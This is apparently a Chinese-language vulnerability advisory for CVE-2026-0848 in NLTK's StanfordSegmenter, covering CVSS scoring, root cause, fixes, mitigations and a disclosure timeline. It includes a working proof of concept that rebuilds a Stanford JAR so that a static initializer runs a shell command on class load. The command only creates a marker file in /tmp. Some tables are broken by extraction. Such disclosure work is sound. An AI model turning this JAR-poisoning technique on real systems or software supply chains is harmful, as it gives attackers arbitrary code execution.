| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-0848 |
| 软件包 | nltk(自然语言工具包) |
| 注册源 | PyPI |
| 受影响版本 | <= 3.9.2 |
| 漏洞类型 | CWE-20:输入验证不当 |
| CVSS 评分 | 10.0(严重) |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响范围 | 已改变 |
| 机密性影响 | 高 |
| 完整性影响 | 高 |
| 可用性影响 | 高 |
| 报告日期 | 2025年12月6日 |
| CVE 发布时间 | 2026年3月 |
| 支持方 | Palo Alto Networks / Prisma AIRS |
nltk.tokenize.StanfordSegmenter 通过 subprocess 动态加载外部 Java .jar 文件,且不执行任何完整性验证、签名校验或沙箱隔离。该类接受完全由攻击者控制的参数,包括 path_to_jar、path_to_model、path_to_dict 和 java_class,并将它们直接传递给 java -cp 调用。
如果攻击者能够提供或替换 JAR 文件——通过投毒的模型下载、中间人软件包替换、依赖投毒或遭到破坏的发布镜像——任意 Java 字节码会在类加载时通过 JVM 的静态初始化器机制执行。这构成了一个供应链远程代码执行漏洞,并完全脱离 Python 运行时。
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
成功利用该漏洞可使攻击者完全控制运行 NLTK 分词进程的系统:
Runtime.getRuntime().exec() 或 ProcessBuilder 运行任意 shell 命令| 场景 | 影响 |
|---|---|
| ML 研究人员从互联网加载预训练分词器 | 远程攻击者获得代码执行能力 |
| 组织下载了被篡改的中文分词模型 ZIP | 恶意软件在生产 NLP 流水线中执行 |
| CI/CD 服务器通过非 HTTPS 镜像使用 / 安装模型 |
该漏洞影响所有使用 StanfordSegmenter 的 NLP 工作流,包括聊天机器人、LLM 预处理流水线、数据集分词、文档分类以及生产推理服务。
此信息仅用于教育和防御目的。请勿针对您不拥有或未经明确授权的系统进行测试。
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class
cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;
public class CRFClassifier {
static {
try {
System.out.println("\nPayload executed — Code ran on class load!\n");
Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
} catch(Exception e){}
}
public static void main(String[] args){}
}
EOF
javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter
print("[+] Triggering payload via modified Stanford JAR...")
seg = StanfordSegmenter(
path_to_jar="stanford-segmenter.jar",
path_to_sihan_corpora_dict="./data/",
path_to_dict="./data/dict-chris6.ser.gz",
path_to_model="./data/pku.gz",
java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
encoding="utf-8"
)
print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))
输出:
[+] Triggering payload via modified Stanford JAR...
Payload executed — Code ran on class load!
[+] Running segmentation...
我 爱 自然语言 处理
确认 RCE:
ls /tmp | grep pwned_hijack
# pwned_hijack
该漏洞存在于两个文件中:
stanford_segmenter.py — StanfordSegmenter 类构造函数接受 path_to_jar、path_to_model、path_to_dict 和 java_class 作为普通字符串参数,并直接将其转发给 Java 执行层,而未执行以下任何操作:
java_class 参数进行验证internals.py — java() 辅助函数使用用户提供的类路径构造并启动 subprocess.Popen() 调用。JVM 会立即加载所提供 JAR 中的所有类,并在应用程序逻辑运行之前执行所有静态初始化器代码块。这里没有沙箱、没有完整性门禁,也没有任何机制可阻止注入字节码的执行。
该漏洞已在 NLTK 上游仓库中完全解决。
| 资源 | 链接 |
|---|---|
| 中央安全修复(所有 CVE) | https://github.com/nltk/nltk/pull/3522 |
| 研究者的初始修复 PR | https://github.com/nltk/nltk/pull/3477 (已合并) |
请尽快升级到 PyPI 上可用的已修补 NLTK 版本。
通过 pip 升级:
pip install --upgrade nltk
验证已安装版本:
python -c "import nltk; print(nltk.__version__)"
本仓库记录 CVE-2026-0848 仅供教育、研究和防御性安全目的使用。提供概念验证代码和技术细节是为了帮助开发人员、安全工程师和系统管理员理解、评估和修复此漏洞。
任何未经明确授权使用此信息访问或破坏系统的行为都是非法且不道德的。作者对本文所含信息的滥用不承担任何责任。
贡献者:ketanHub
| 文件 | 行号 | 描述 |
|---|
nltk/tokenize/stanford_segmenter.py | L53–L118 | 接受攻击者控制的 path_to_jar、path_to_model、path_to_dict 和 java_class,且无任何验证 |
nltk/internals.py | L220–L300 | 直接使用用户控制的 JAR 路径和类路径启动 Java 执行,没有沙箱或校验和验证 |
nltk/internals.py | L109–L152 | subprocess.Popen() 使用未经验证的类路径输入执行 Java,允许 JVM 加载任意字节码并运行静态初始化器 |
| 指标 | 值 |
|---|
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响范围 | 已改变 |
| 机密性 | 高 |
| 完整性 | 高 |
| 可用性 | 高 |
wgetunzip| 整个环境沦陷 |
| 依赖接管或投毒的发布镜像 | 完全的供应链 RCE |
| 操作 | 详情 |
|---|
| 升级 NLTK | 升级到包含 PR #3522 修复的、高于 3.9.2 的版本 |
| 不要使用用户可控的 JAR 路径 | 绝不允许用户输入影响 path_to_jar、path_to_model 或 java_class 参数 |
| 验证 JAR 完整性 | 使用前始终根据官方发布的哈希验证下载 JAR 文件的 SHA-256 校验和 |
| 仅使用 HTTPS 来源 | 仅从官方 HTTPS 来源下载模型文件和 JAR;拒绝任何 HTTP 或未经验证的镜像 |
| 最小权限 | 在具有最小文件系统和网络权限的受限操作系统用户下运行基于 NLTK 的服务 |
| 容器化 | 将 NLP 服务隔离在 Docker 容器或类似沙箱中,以限制基于 JAR 的利用的爆炸半径 |
| 依赖监控 | 使用软件成分分析工具检测 CI/CD 流水线中被篡改或被替换的 JAR 依赖 |
| 日期 | 事件 |
|---|
| 2025年12月6日 | 研究者 hyperps1(Sarvesh Patil)向 huntr.dev 报告该漏洞 |
| 2025年12月 | 通过 huntr.dev 通知 NLTK 维护团队 |
| 2026年1月 | NLTK 维护者验证了漏洞;获得披露赏金 |
| 2026年1月 | 分配 CVE-2026-0848 |
| 2026年1月 | 研究者的修复 PR #3477 已提交并合并 |
| 2026年2月 | 向 NLTK 维护者发送 48 小时预发布警告 |
| 2026年3月 | CVE 在 NVD 和 huntr.dev 上发布 |
| 2026年3月 | 通过 PR #3522 合并了针对所有 CVE 的中央安全修复 |
| 资源 | 链接 |
|---|
| NVD 条目 | https://nvd.nist.gov/vuln/detail/CVE-2026-0848 |
| 官方 CVE 记录 | https://cve.org/CVERecord?id=CVE-2026-0848 |
| huntr.dev 报告 | https://huntr.dev |
| 中央修复 PR | https://github.com/nltk/nltk/pull/3522 |
| 研究者修复 PR | https://github.com/nltk/nltk/pull/3477 |
| PyPI 上的 NLTK | https://pypi.org/project/nltk/ |
| Stanford 分词器 | https://nlp.stanford.edu/software/segmenter.html |
| OWASP — 任意代码执行 | https://owasp.org/www-community/attacks/Code_Injection |
| OWASP — 不可信搜索路径 | https://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection |
| CWE-20:输入验证不当 | https://cwe.mitre.org/data/definitions/20.html |
| CWE-502:不可信数据反序列化 | https://cwe.mitre.org/data/definitions/502.html |